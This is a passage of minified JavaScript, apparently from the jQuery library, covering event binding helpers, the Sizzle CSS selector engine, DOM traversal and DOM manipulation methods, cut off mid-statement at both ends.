a._submit_bubble,this.parentNode&&!a.isTrigger&&f.event.simulate("submit",this.parentNode,a,!0))},teardown:function(){if(f.nodeName(this,"form"))return!1;f.event.remove(this,"._submit")}}),f.support.changeBubbles||(f.event.special.change={setup:function(){if(z.test(this.nodeName)){if(this.type==="checkbox"||this.type==="radio")f.event.add(this,"propertychange._change",function(a){a.originalEvent.propertyName==="checked"&&(this._just_changed=!0)}),f.event.add(this,"click._change",function(a){this._just_changed&&!a.isTrigger&&(this._just_changed=!1,f.event.simulate("change",this,a,!0))});return!1}f.event.add(this,"beforeactivate._change",function(a){var b=a.target;z.test(b.nodeName)&&!b._change_attached&&(f.event.add(b,"change._change",function(a){this.parentNode&&!a.isSimulated&&!a.isTrigger&&f.event.simulate("change",this.parentNode,a,!0)}),b._change_attached=!0)})},handle:function(a){var b=a.target;if(this!==b||a.isSimulated||a.isTrigger||b.type!=="radio"&&b.type!=="checkbox")return a.handleObj.handler.apply(this,arguments)},teardown:function(){f.event.remove(this,"._change");return z.test(this.nodeName)}}),f.support.focusinBubbles||f.each({focus:"focusin",blur:"focusout"},function(a,b){var d=0,e=function(a){f.event.simulate(b,a.target,f.event.fix(a),!0)};f.event.special[b]={setup:function(){d++===0&&c.addEventListener(a,e,!0)},teardown:function(){--d===0&&c.removeEventListener(a,e,!0)}}}),f.fn.extend({on:function(a,c,d,e,g){var h,i;if(typeof a=="object"){typeof c!="string"&&(d=d||c,c=b);for(i in a)this.on(i,c,d,a[i],g);return this}d==null&&e==null?(e=c,d=c=b):e==null&&(typeof c=="string"?(e=d,d=b):(e=d,d=c,c=b));if(e===!1)e=J;else if(!e)return this;g===1&&(h=e,e=function(a){f().off(a);return h.apply(this,arguments)},e.guid=h.guid||(h.guid=f.guid++));return this.each(function(){f.event.add(this,a,e,d,c)})},one:function(a,b,c,d){return this.on(a,b,c,d,1)},off:function(a,c,d){if(a&&a.preventDefault&&a.handleObj){var e=a.handleObj;f(a.delegateTarget).off(e.namespace?e.origType+"."+e.namespace:e.origType,e.selector,e.handler);return this}if(typeof a=="object"){for(var g in a)this.off(g,c,a[g]);return this}if(c===!1||typeof c=="function")d=c,c=b;d===!1&&(d=J);return this.each(function(){f.event.remove(this,a,d,c)})},bind:function(a,b,c){return this.on(a,null,b,c)},unbind:function(a,b){return this.off(a,null,b)},live:function(a,b,c){f(this.context).on(a,this.selector,b,c);return this},die:function(a,b){f(this.context).off(a,this.selector||"**",b);return this},delegate:function(a,b,c,d){return this.on(b,a,c,d)},undelegate:function(a,b,c){return arguments.length==1?this.off(a,"**"):this.off(b,a,c)},trigger:function(a,b){return this.each(function(){f.event.trigger(a,b,this)})},triggerHandler:function(a,b){if(this[0])return f.event.trigger(a,b,this[0],!0)},toggle:function(a){var b=arguments,c=a.guid||f.guid++,d=0,e=function(c){var e=(f._data(this,"lastToggle"+a.guid)||0)%d;f._data(this,"lastToggle"+a.guid,e+1),c.preventDefault();return b[e].apply(this,arguments)||!1};e.guid=c;while(d<b.length)b[d++].guid=c;return this.click(e)},hover:function(a,b){return this.mouseenter(a).mouseleave(b||a)}}),f.each("blur focus focusin focusout load resize scroll unload click dblclick mousedown mouseup mousemove mouseover mouseout mouseenter mouseleave change select submit keydown keypress keyup error contextmenu".split(" "),function(a,b){f.fn[b]=function(a,c){c==null&&(c=a,a=null);return arguments.length>0?this.on(b,null,a,c):this.trigger(b)},f.attrFn&&(f.attrFn[b]=!0),C.test(b)&&(f.event.fixHooks[b]=f.event.keyHooks),D.test(b)&&(f.event.fixHooks[b]=f.event.mouseHooks)}),function(){function x(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}if(j.nodeType===1){g||(j[d]=c,j.sizset=h);if(typeof b!="string"){if(j===b){k=!0;break}}else if(m.filter(b,[j]).length>0){k=j;break}}j=j[a]}e[h]=k}}}function w(a,b,c,e,f,g){for(var h=0,i=e.length;h<i;h++){var j=e[h];if(j){var k=!1;j=j[a];while(j){if(j[d]===c){k=e[j.sizset];break}j.nodeType===1&&!g&&(j[d]=c,j.sizset=h);if(j.nodeName.toLowerCase()===b){k=j;break}j=j[a]}e[h]=k}}}var a=/((?:\((?:\([^()]+\)|[^()]+)+\)|\[(?:\[[^\[\]]*\]|['"][^'"]*['"]|[^\[\]'"]+)+\]|\\.|[^ >+~,(\[\\]+)+|[>+~])(\s*,\s*)?((?:.|\r|\n)*)/g,d="sizcache"+(Math.random()+"").replace(".",""),e=0,g=Object.prototype.toString,h=!1,i=!0,j=/\\/g,k=/\r\n/g,l=/\W/;[0,0].sort(function(){i=!1;return 0});var m=function(b,d,e,f){e=e||[],d=d||c;var h=d;if(d.nodeType!==1&&d.nodeType!==9)return[];if(!b||typeof b!="string")return e;var i,j,k,l,n,q,r,t,u=!0,v=m.isXML(d),w=[],x=b;do{a.exec(""),i=a.exec(x);if(i){x=i[3],w.push(i[1]);if(i[2]){l=i[3];break}}}while(i);if(w.length>1&&p.exec(b))if(w.length===2&&o.relative[w[0]])j=y(w[0]+w[1],d,f);else{j=o.relative[w[0]]?[d]:m(w.shift(),d);while(w.length)b=w.shift(),o.relative[b]&&(b+=w.shift()),j=y(b,j,f)}else{!f&&w.length>1&&d.nodeType===9&&!v&&o.match.ID.test(w[0])&&!o.match.ID.test(w[w.length-1])&&(n=m.find(w.shift(),d,v),d=n.expr?m.filter(n.expr,n.set)[0]:n.set[0]);if(d){n=f?{expr:w.pop(),set:s(f)}:m.find(w.pop(),w.length===1&&(w[0]==="~"||w[0]==="+")&&d.parentNode?d.parentNode:d,v),j=n.expr?m.filter(n.expr,n.set):n.set,w.length>0?k=s(j):u=!1;while(w.length)q=w.pop(),r=q,o.relative[q]?r=w.pop():q="",r==null&&(r=d),o.relative[q](k,r,v)}else k=w=[]}k||(k=j),k||m.error(q||b);if(g.call(k)==="[object Array]")if(!u)e.push.apply(e,k);else if(d&&d.nodeType===1)for(t=0;k[t]!=null;t++)k[t]&&(k[t]===!0||k[t].nodeType===1&&m.contains(d,k[t]))&&e.push(j[t]);else for(t=0;k[t]!=null;t++)k[t]&&k[t].nodeType===1&&e.push(j[t]);else s(k,e);l&&(m(l,h,e,f),m.uniqueSort(e));return e};m.uniqueSort=function(a){if(u){h=i,a.sort(u);if(h)for(var b=1;b<a.length;b++)a[b]===a[b-1]&&a.splice(b--,1)}return a},m.matches=function(a,b){return m(a,null,null,b)},m.matchesSelector=function(a,b){return m(b,null,null,[a]).length>0},m.find=function(a,b,c){var d,e,f,g,h,i;if(!a)return[];for(e=0,f=o.order.length;e<f;e++){h=o.order[e];if(g=o.leftMatch[h].exec(a)){i=g[1],g.splice(1,1);if(i.substr(i.length-1)!=="\\"){g[1]=(g[1]||"").replace(j,""),d=o.find[h](g,b,c);if(d!=null){a=a.replace(o.match[h],"");break}}}}d||(d=typeof b.getElementsByTagName!="undefined"?b.getElementsByTagName("*"):[]);return{set:d,expr:a}},m.filter=function(a,c,d,e){var f,g,h,i,j,k,l,n,p,q=a,r=[],s=c,t=c&&c[0]&&m.isXML(c[0]);while(a&&c.length){for(h in o.filter)if((f=o.leftMatch[h].exec(a))!=null&&f[2]){k=o.filter[h],l=f[1],g=!1,f.splice(1,1);if(l.substr(l.length-1)==="\\")continue;s===r&&(r=[]);if(o.preFilter[h]){f=o.preFilter[h](f,s,d,r,e,t);if(!f)g=i=!0;else if(f===!0)continue}if(f)for(n=0;(j=s[n])!=null;n++)j&&(i=k(j,f,n,s),p=e^i,d&&i!=null?p?g=!0:s[n]=!1:p&&(r.push(j),g=!0));if(i!==b){d||(s=r),a=a.replace(o.match[h],"");if(!g)return[];break}}if(a===q)if(g==null)m.error(a);else break;q=a}return s},m.error=function(a){throw new Error("Syntax error, unrecognized expression: "+a)};var n=m.getText=function(a){var b,c,d=a.nodeType,e="";if(d){if(d===1||d===9||d===11){if(typeof a.textContent=="string")return a.textContent;if(typeof a.innerText=="string")return a.innerText.replace(k,"");for(a=a.firstChild;a;a=a.nextSibling)e+=n(a)}else if(d===3||d===4)return a.nodeValue}else for(b=0;c=a[b];b++)c.nodeType!==8&&(e+=n(c));return e},o=m.selectors={order:["ID","NAME","TAG"],match:{ID:/#((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,CLASS:/\.((?:[\w\u00c0-\uFFFF\-]|\\.)+)/,NAME:/\[name=['"]*((?:[\w\u00c0-\uFFFF\-]|\\.)+)['"]*\]/,ATTR:/\[\s*((?:[\w\u00c0-\uFFFF\-]|\\.)+)\s*(?:(\S?=)\s*(?:(['"])(.*?)\3|(#?(?:[\w\u00c0-\uFFFF\-]|\\.)*)|)|)\s*\]/,TAG:/^((?:[\w\u00c0-\uFFFF\*\-]|\\.)+)/,CHILD:/:(only|nth|last|first)-child(?:\(\s*(even|odd|(?:[+\-]?\d+|(?:[+\-]?\d*)?n\s*(?:[+\-]\s*\d+)?))\s*\))?/,POS:/:(nth|eq|gt|lt|first|last|even|odd)(?:\((\d*)\))?(?=[^\-]|$)/,PSEUDO:/:((?:[\w\u00c0-\uFFFF\-]|\\.)+)(?:\((['"]?)((?:\([^\)]+\)|[^\(\)]*)+)\2\))?/},leftMatch:{},attrMap:{"class":"className","for":"htmlFor"},attrHandle:{href:function(a){return a.getAttribute("href")},type:function(a){return a.getAttribute("type")}},relative:{"+":function(a,b){var c=typeof b=="string",d=c&&!l.test(b),e=c&&!d;d&&(b=b.toLowerCase());for(var f=0,g=a.length,h;f<g;f++)if(h=a[f]){while((h=h.previousSibling)&&h.nodeType!==1);a[f]=e||h&&h.nodeName.toLowerCase()===b?h||!1:h===b}e&&m.filter(b,a,!0)},">":function(a,b){var c,d=typeof b=="string",e=0,f=a.length;if(d&&!l.test(b)){b=b.toLowerCase();for(;e<f;e++){c=a[e];if(c){var g=c.parentNode;a[e]=g.nodeName.toLowerCase()===b?g:!1}}}else{for(;e<f;e++)c=a[e],c&&(a[e]=d?c.parentNode:c.parentNode===b);d&&m.filter(b,a,!0)}},"":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("parentNode",b,f,a,d,c)},"~":function(a,b,c){var d,f=e++,g=x;typeof b=="string"&&!l.test(b)&&(b=b.toLowerCase(),d=b,g=w),g("previousSibling",b,f,a,d,c)}},find:{ID:function(a,b,c){if(typeof b.getElementById!="undefined"&&!c){var d=b.getElementById(a[1]);return d&&d.parentNode?[d]:[]}},NAME:function(a,b){if(typeof b.getElementsByName!="undefined"){var c=[],d=b.getElementsByName(a[1]);for(var e=0,f=d.length;e<f;e++)d[e].getAttribute("name")===a[1]&&c.push(d[e]);return c.length===0?null:c}},TAG:function(a,b){if(typeof b.getElementsByTagName!="undefined")return b.getElementsByTagName(a[1])}},preFilter:{CLASS:function(a,b,c,d,e,f){a=" "+a[1].replace(j,"")+" ";if(f)return a;for(var g=0,h;(h=b[g])!=null;g++)h&&(e^(h.className&&(" "+h.className+" ").replace(/[\t\n\r]/g," ").indexOf(a)>=0)?c||d.push(h):c&&(b[g]=!1));return!1},ID:function(a){return a[1].replace(j,"")},TAG:function(a,b){return a[1].replace(j,"").toLowerCase()},CHILD:function(a){if(a[1]==="nth"){a[2]||m.error(a[0]),a[2]=a[2].replace(/^\+|\s*/g,"");var b=/(-?)(\d*)(?:n([+\-]?\d*))?/.exec(a[2]==="even"&&"2n"||a[2]==="odd"&&"2n+1"||!/\D/.test(a[2])&&"0n+"+a[2]||a[2]);a[2]=b[1]+(b[2]||1)-0,a[3]=b[3]-0}else a[2]&&m.error(a[0]);a[0]=e++;return a},ATTR:function(a,b,c,d,e,f){var g=a[1]=a[1].replace(j,"");!f&&o.attrMap[g]&&(a[1]=o.attrMap[g]),a[4]=(a[4]||a[5]||"").replace(j,""),a[2]==="~="&&(a[4]=" "+a[4]+" ");return a},PSEUDO:function(b,c,d,e,f){if(b[1]==="not")if((a.exec(b[3])||"").length>1||/^\w/.test(b[3]))b[3]=m(b[3],null,null,c);else{var g=m.filter(b[3],c,d,!0^f);d||e.push.apply(e,g);return!1}else if(o.match.POS.test(b[0])||o.match.CHILD.test(b[0]))return!0;return b},POS:function(a){a.unshift(!0);return a}},filters:{enabled:function(a){return a.disabled===!1&&a.type!=="hidden"},disabled:function(a){return a.disabled===!0},checked:function(a){return a.checked===!0},selected:function(a){a.parentNode&&a.parentNode.selectedIndex;return a.selected===!0},parent:function(a){return!!a.firstChild},empty:function(a){return!a.firstChild},has:function(a,b,c){return!!m(c[3],a).length},header:function(a){return/h\d/i.test(a.nodeName)},text:function(a){var b=a.getAttribute("type"),c=a.type;return a.nodeName.toLowerCase()==="input"&&"text"===c&&(b===c||b===null)},radio:function(a){return a.nodeName.toLowerCase()==="input"&&"radio"===a.type},checkbox:function(a){return a.nodeName.toLowerCase()==="input"&&"checkbox"===a.type},file:function(a){return a.nodeName.toLowerCase()==="input"&&"file"===a.type},password:function(a){return a.nodeName.toLowerCase()==="input"&&"password"===a.type},submit:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"submit"===a.type},image:function(a){return a.nodeName.toLowerCase()==="input"&&"image"===a.type},reset:function(a){var b=a.nodeName.toLowerCase();return(b==="input"||b==="button")&&"reset"===a.type},button:function(a){var b=a.nodeName.toLowerCase();return b==="input"&&"button"===a.type||b==="button"},input:function(a){return/input|select|textarea|button/i.test(a.nodeName)},focus:function(a){return a===a.ownerDocument.activeElement}},setFilters:{first:function(a,b){return b===0},last:function(a,b,c,d){return b===d.length-1},even:function(a,b){return b%2===0},odd:function(a,b){return b%2===1},lt:function(a,b,c){return b<c[3]-0},gt:function(a,b,c){return b>c[3]-0},nth:function(a,b,c){return c[3]-0===b},eq:function(a,b,c){return c[3]-0===b}},filter:{PSEUDO:function(a,b,c,d){var e=b[1],f=o.filters[e];if(f)return f(a,c,b,d);if(e==="contains")return(a.textContent||a.innerText||n([a])||"").indexOf(b[3])>=0;if(e==="not"){var g=b[3];for(var h=0,i=g.length;h<i;h++)if(g[h]===a)return!1;return!0}m.error(e)},CHILD:function(a,b){var c,e,f,g,h,i,j,k=b[1],l=a;switch(k){case"only":case"first":while(l=l.previousSibling)if(l.nodeType===1)return!1;if(k==="first")return!0;l=a;case"last":while(l=l.nextSibling)if(l.nodeType===1)return!1;return!0;case"nth":c=b[2],e=b[3];if(c===1&&e===0)return!0;f=b[0],g=a.parentNode;if(g&&(g[d]!==f||!a.nodeIndex)){i=0;for(l=g.firstChild;l;l=l.nextSibling)l.nodeType===1&&(l.nodeIndex=++i);g[d]=f}j=a.nodeIndex-e;return c===0?j===0:j%c===0&&j/c>=0}},ID:function(a,b){return a.nodeType===1&&a.getAttribute("id")===b},TAG:function(a,b){return b==="*"&&a.nodeType===1||!!a.nodeName&&a.nodeName.toLowerCase()===b},CLASS:function(a,b){return(" "+(a.className||a.getAttribute("class"))+" ").indexOf(b)>-1},ATTR:function(a,b){var c=b[1],d=m.attr?m.attr(a,c):o.attrHandle[c]?o.attrHandle[c](a):a[c]!=null?a[c]:a.getAttribute(c),e=d+"",f=b[2],g=b[4];return d==null?f==="!=":!f&&m.attr?d!=null:f==="="?e===g:f==="*="?e.indexOf(g)>=0:f==="~="?(" "+e+" ").indexOf(g)>=0:g?f==="!="?e!==g:f==="^="?e.indexOf(g)===0:f==="$="?e.substr(e.length-g.length)===g:f==="|="?e===g||e.substr(0,g.length+1)===g+"-":!1:e&&d!==!1},POS:function(a,b,c,d){var e=b[2],f=o.setFilters[e];if(f)return f(a,c,b,d)}}},p=o.match.POS,q=function(a,b){return"\\"+(b-0+1)};for(var r in o.match)o.match[r]=new RegExp(o.match[r].source+/(?![^\[]*\])(?![^\(]*\))/.source),o.leftMatch[r]=new RegExp(/(^(?:.|\r|\n)*?)/.source+o.match[r].source.replace(/\\(\d+)/g,q));o.match.globalPOS=p;var s=function(a,b){a=Array.prototype.slice.call(a,0);if(b){b.push.apply(b,a);return b}return a};try{Array.prototype.slice.call(c.documentElement.childNodes,0)[0].nodeType}catch(t){s=function(a,b){var c=0,d=b||[];if(g.call(a)==="[object Array]")Array.prototype.push.apply(d,a);else if(typeof a.length=="number")for(var e=a.length;c<e;c++)d.push(a[c]);else for(;a[c];c++)d.push(a[c]);return d}}var u,v;c.documentElement.compareDocumentPosition?u=function(a,b){if(a===b){h=!0;return 0}if(!a.compareDocumentPosition||!b.compareDocumentPosition)return a.compareDocumentPosition?-1:1;return a.compareDocumentPosition(b)&4?-1:1}:(u=function(a,b){if(a===b){h=!0;return 0}if(a.sourceIndex&&b.sourceIndex)return a.sourceIndex-b.sourceIndex;var c,d,e=[],f=[],g=a.parentNode,i=b.parentNode,j=g;if(g===i)return v(a,b);if(!g)return-1;if(!i)return 1;while(j)e.unshift(j),j=j.parentNode;j=i;while(j)f.unshift(j),j=j.parentNode;c=e.length,d=f.length;for(var k=0;k<c&&k<d;k++)if(e[k]!==f[k])return v(e[k],f[k]);return k===c?v(a,f[k],-1):v(e[k],b,1)},v=function(a,b,c){if(a===b)return c;var d=a.nextSibling;while(d){if(d===b)return-1;d=d.nextSibling}return 1}),function(){var a=c.createElement("div"),d="script"+(new Date).getTime(),e=c.documentElement;a.innerHTML="<a name='"+d+"'/>",e.insertBefore(a,e.firstChild),c.getElementById(d)&&(o.find.ID=function(a,c,d){if(typeof c.getElementById!="undefined"&&!d){var e=c.getElementById(a[1]);return e?e.id===a[1]||typeof e.getAttributeNode!="undefined"&&e.getAttributeNode("id").nodeValue===a[1]?[e]:b:[]}},o.filter.ID=function(a,b){var c=typeof a.getAttributeNode!="undefined"&&a.getAttributeNode("id");return a.nodeType===1&&c&&c.nodeValue===b}),e.removeChild(a),e=a=null}(),function(){var a=c.createElement("div");a.appendChild(c.createComment("")),a.getElementsByTagName("*").length>0&&(o.find.TAG=function(a,b){var c=b.getElementsByTagName(a[1]);if(a[1]==="*"){var d=[];for(var e=0;c[e];e++)c[e].nodeType===1&&d.push(c[e]);c=d}return c}),a.innerHTML="<a href='#'></a>",a.firstChild&&typeof a.firstChild.getAttribute!="undefined"&&a.firstChild.getAttribute("href")!=="#"&&(o.attrHandle.href=function(a){return a.getAttribute("href",2)}),a=null}(),c.querySelectorAll&&function(){var a=m,b=c.createElement("div"),d="__sizzle__";b.innerHTML="<p class='TEST'></p>";if(!b.querySelectorAll||b.querySelectorAll(".TEST").length!==0){m=function(b,e,f,g){e=e||c;if(!g&&!m.isXML(e)){var h=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(b);if(h&&(e.nodeType===1||e.nodeType===9)){if(h[1])return s(e.getElementsByTagName(b),f);if(h[2]&&o.find.CLASS&&e.getElementsByClassName)return s(e.getElementsByClassName(h[2]),f)}if(e.nodeType===9){if(b==="body"&&e.body)return s([e.body],f);if(h&&h[3]){var i=e.getElementById(h[3]);if(!i||!i.parentNode)return s([],f);if(i.id===h[3])return s([i],f)}try{return s(e.querySelectorAll(b),f)}catch(j){}}else if(e.nodeType===1&&e.nodeName.toLowerCase()!=="object"){var k=e,l=e.getAttribute("id"),n=l||d,p=e.parentNode,q=/^\s*[+~]/.test(b);l?n=n.replace(/'/g,"\\$&"):e.setAttribute("id",n),q&&p&&(e=e.parentNode);try{if(!q||p)return s(e.querySelectorAll("[id='"+n+"'] "+b),f)}catch(r){}finally{l||k.removeAttribute("id")}}}return a(b,e,f,g)};for(var e in a)m[e]=a[e];b=null}}(),function(){var a=c.documentElement,b=a.matchesSelector||a.mozMatchesSelector||a.webkitMatchesSelector||a.msMatchesSelector;if(b){var d=!b.call(c.createElement("div"),"div"),e=!1;try{b.call(c.documentElement,"[test!='']:sizzle")}catch(f){e=!0}m.matchesSelector=function(a,c){c=c.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']");if(!m.isXML(a))try{if(e||!o.match.PSEUDO.test(c)&&!/!=/.test(c)){var f=b.call(a,c);if(f||!d||a.document&&a.document.nodeType!==11)return f}}catch(g){}return m(c,null,null,[a]).length>0}}}(),function(){var a=c.createElement("div");a.innerHTML="<div class='test e'></div><div class='test'></div>";if(!!a.getElementsByClassName&&a.getElementsByClassName("e").length!==0){a.lastChild.className="e";if(a.getElementsByClassName("e").length===1)return;o.order.splice(1,0,"CLASS"),o.find.CLASS=function(a,b,c){if(typeof b.getElementsByClassName!="undefined"&&!c)return b.getElementsByClassName(a[1])},a=null}}(),c.documentElement.contains?m.contains=function(a,b){return a!==b&&(a.contains?a.contains(b):!0)}:c.documentElement.compareDocumentPosition?m.contains=function(a,b){return!!(a.compareDocumentPosition(b)&16)}:m.contains=function(){return!1},m.isXML=function(a){var b=(a?a.ownerDocument||a:0).documentElement;return b?b.nodeName!=="HTML":!1};var y=function(a,b,c){var d,e=[],f="",g=b.nodeType?[b]:b;while(d=o.match.PSEUDO.exec(a))f+=d[0],a=a.replace(o.match.PSEUDO,"");a=o.relative[a]?a+"*":a;for(var h=0,i=g.length;h<i;h++)m(a,g[h],e,c);return m.filter(f,e)};m.attr=f.attr,m.selectors.attrMap={},f.find=m,f.expr=m.selectors,f.expr[":"]=f.expr.filters,f.unique=m.uniqueSort,f.text=m.getText,f.isXMLDoc=m.isXML,f.contains=m.contains}();var L=/Until$/,M=/^(?:parents|prevUntil|prevAll)/,N=/,/,O=/^.[^:#\[\.,]*$/,P=Array.prototype.slice,Q=f.expr.match.globalPOS,R={children:!0,contents:!0,next:!0,prev:!0};f.fn.extend({find:function(a){var b=this,c,d;if(typeof a!="string")return f(a).filter(function(){for(c=0,d=b.length;c<d;c++)if(f.contains(b[c],this))return!0});var e=this.pushStack("","find",a),g,h,i;for(c=0,d=this.length;c<d;c++){g=e.length,f.find(a,this[c],e);if(c>0)for(h=g;h<e.length;h++)for(i=0;i<g;i++)if(e[i]===e[h]){e.splice(h--,1);break}}return e},has:function(a){var b=f(a);return this.filter(function(){for(var a=0,c=b.length;a<c;a++)if(f.contains(this,b[a]))return!0})},not:function(a){return this.pushStack(T(this,a,!1),"not",a)},filter:function(a){return this.pushStack(T(this,a,!0),"filter",a)},is:function(a){return!!a&&(typeof a=="string"?Q.test(a)?f(a,this.context).index(this[0])>=0:f.filter(a,this).length>0:this.filter(a).length>0)},closest:function(a,b){var c=[],d,e,g=this[0];if(f.isArray(a)){var h=1;while(g&&g.ownerDocument&&g!==b){for(d=0;d<a.length;d++)f(g).is(a[d])&&c.push({selector:a[d],elem:g,level:h});g=g.parentNode,h++}return c}var i=Q.test(a)||typeof a!="string"?f(a,b||this.context):0;for(d=0,e=this.length;d<e;d++){g=this[d];while(g){if(i?i.index(g)>-1:f.find.matchesSelector(g,a)){c.push(g);break}g=g.parentNode;if(!g||!g.ownerDocument||g===b||g.nodeType===11)break}}c=c.length>1?f.unique(c):c;return this.pushStack(c,"closest",a)},index:function(a){if(!a)return this[0]&&this[0].parentNode?this.prevAll().length:-1;if(typeof a=="string")return f.inArray(this[0],f(a));return f.inArray(a.jquery?a[0]:a,this)},add:function(a,b){var c=typeof a=="string"?f(a,b):f.makeArray(a&&a.nodeType?[a]:a),d=f.merge(this.get(),c);return this.pushStack(S(c[0])||S(d[0])?d:f.unique(d))},andSelf:function(){return this.add(this.prevObject)}}),f.each({parent:function(a){var b=a.parentNode;return b&&b.nodeType!==11?b:null},parents:function(a){return f.dir(a,"parentNode")},parentsUntil:function(a,b,c){return f.dir(a,"parentNode",c)},next:function(a){return f.nth(a,2,"nextSibling")},prev:function(a){return f.nth(a,2,"previousSibling")},nextAll:function(a){return f.dir(a,"nextSibling")},prevAll:function(a){return f.dir(a,"previousSibling")},nextUntil:function(a,b,c){return f.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return f.dir(a,"previousSibling",c)},siblings:function(a){return f.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return f.sibling(a.firstChild)},contents:function(a){return f.nodeName(a,"iframe")?a.contentDocument||a.contentWindow.document:f.makeArray(a.childNodes)}},function(a,b){f.fn[a]=function(c,d){var e=f.map(this,b,c);L.test(a)||(d=c),d&&typeof d=="string"&&(e=f.filter(d,e)),e=this.length>1&&!R[a]?f.unique(e):e,(this.length>1||N.test(d))&&M.test(a)&&(e=e.reverse());return this.pushStack(e,a,P.call(arguments).join(","))}}),f.extend({filter:function(a,b,c){c&&(a=":not("+a+")");return b.length===1?f.find.matchesSelector(b[0],a)?[b[0]]:[]:f.find.matches(a,b)},dir:function(a,c,d){var e=[],g=a[c];while(g&&g.nodeType!==9&&(d===b||g.nodeType!==1||!f(g).is(d)))g.nodeType===1&&e.push(g),g=g[c];return e},nth:function(a,b,c,d){b=b||1;var e=0;for(;a;a=a[c])if(a.nodeType===1&&++e===b)break;return a},sibling:function(a,b){var c=[];for(;a;a=a.nextSibling)a.nodeType===1&&a!==b&&c.push(a);return c}});var V="abbr|article|aside|audio|bdi|canvas|data|datalist|details|figcaption|figure|footer|header|hgroup|mark|meter|nav|output|progress|section|summary|time|video",W=/ jQuery\d+="(?:\d+|null)"/g,X=/^\s+/,Y=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([\w:]+)[^>]*)\/>/ig,Z=/<([\w:]+)/,$=/<tbody/i,_=/<|&#?\w+;/,ba=/<(?:script|style)/i,bb=/<(?:script|object|embed|option|style)/i,bc=new RegExp("<(?:"+V+")[\\s/>]","i"),bd=/checked\s*(?:[^=]|=\s*.checked.)/i,be=/\/(java|ecma)script/i,bf=/^\s*<!(?:\[CDATA\[|\-\-)/,bg={option:[1,"<select multiple='multiple'>","</select>"],legend:[1,"<fieldset>","</fieldset>"],thead:[1,"<table>","</table>"],tr:[2,"<table><tbody>","</tbody></table>"],td:[3,"<table><tbody><tr>","</tr></tbody></table>"],col:[2,"<table><tbody></tbody><colgroup>","</colgroup></table>"],area:[1,"<map>","</map>"],_default:[0,"",""]},bh=U(c);bg.optgroup=bg.option,bg.tbody=bg.tfoot=bg.colgroup=bg.caption=bg.thead,bg.th=bg.td,f.support.htmlSerialize||(bg._default=[1,"div<div>","</div>"]),f.fn.extend({text:function(a){return f.access(this,function(a){return a===b?f.text(this):this.empty().append((this[0]&&this[0].ownerDocument||c).createTextNode(a))},null,a,arguments.length)},wrapAll:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapAll(a.call(this,b))});if(this[0]){var b=f(a,this[0].ownerDocument).eq(0).clone(!0);this[0].parentNode&&b.insertBefore(this[0]),b.map(function(){var a=this;while(a.firstChild&&a.firstChild.nodeType===1)a=a.firstChild;return a}).append(this)}return this},wrapInner:function(a){if(f.isFunction(a))return this.each(function(b){f(this).wrapInner(a.call(this,b))});return this.each(function(){var b=f(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=f.isFunction(a);return this.each(function(c){f(this).wrapAll(b?a.call(this,c):a)})},unwrap:function(){return this.parent().each(function(){f.nodeName(this,"body")||f(this).replaceWith(this.childNodes)}).end()},append:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.appendChild(a)})},prepend:function(){return this.domManip(arguments,!0,function(a){this.nodeType===1&&this.insertBefore(a,this.firstChild)})},before:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this)});if(arguments.length){var a=f
4 .clean(arguments);a.push.apply(a,this.toArray());return this.pushStack(a,"before",arguments)}},after:function(){if(this[0]&&this[0].parentNode)return this.domManip(arguments,!1,function(a){this.parentNode.insertBefore(a,this.nextSibling)});if(arguments.length){var a=this.pushStack(this,"after",arguments);a.push.apply(a,f.clean(arguments));return a}},remove:function(a,b){for(var c=0,d;(d=this[c])!=null;c++)if(!a||f.filter(a,[d]).length)!b&&d.nodeType===1&&(f.cleanData(d.getElementsByTagName("*")),f.cleanData([d])),d.parentNode&&d.parentNode.removeChild(d);return this},empty:function(){for(var a=0,b;(b=this[a])!=null;a++){b.nodeType===1&&f.cleanData(b.getElementsByTagName("*"));while(b.firstChild)b.removeChild(b.firstChild)}return this},clone:function(a,b){a=a==null?!1:a,b=b==null?a:b;return this.map(function(){return f.clone(this,a,b)})},html:function(a){return f.access(this,function(a){var c=this[0]||{},d=0,e=this.length;if(a===b)return c.nodeType===1?c.innerHTML.replace(W,""):null;if(typeof a=="string"&&!ba.test(a)&&(f.support.leadingWhitespace||!X.test(a))&&!bg[(Z.exec(a)||["",""])[1].toLowerCase()]){a=a.replace(Y,"<$1></$2>");try{for(;d<e;d++)c=this[d]||{},c.nodeType===1&&(f.cleanData(c.getElementsByTagName("*")),c.innerHTML=a);c=0}catch(g){}}c&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(a){if(this[0]&&this[0].parentNode){if(f.isFunction(a))return this.each(function(b){var c=f(this),d=c.html();c.replaceWith(a.call(this,b,d))});typeof a!="string"&&(a=f(a).detach());return this.each(function(){var b=this.nextSibling,c=this.parentNode;f(this).remove(),b?f(b).before(a):f(c).append(a)})}return this.length?this.pushStack(f(f.isFunction(a)?a():a),"replaceWith",a):this},detach:function(a){return this.remove(a,!0)},domManip:function(a,c,d){var e,g,h,i,j=a[0],k=[];if(!f.support.checkClone&&arguments.length===3&&typeof j=="string"&&bd.test(j))return this.each(function(){f(this).domManip(a,c,d,!0)});if(f.isFunction(j))return this.each(function(e){var g=f(this);a[0]=j.call(this,e,c?g.html():b),g.domManip(a,c,d)});if(this[0]){i=j&&j.parentNode,f.support.parentNode&&i&&i.nodeType===11&&i.childNodes.length===this.length?e={fragment:i}:e=f.buildFragment(a,this,k),h=e.fragment,h.childNodes.length===1?g=h=h.firstChild:g=h.firstChild;if(g){c=c&&f.nodeName(g,"tr");for(var 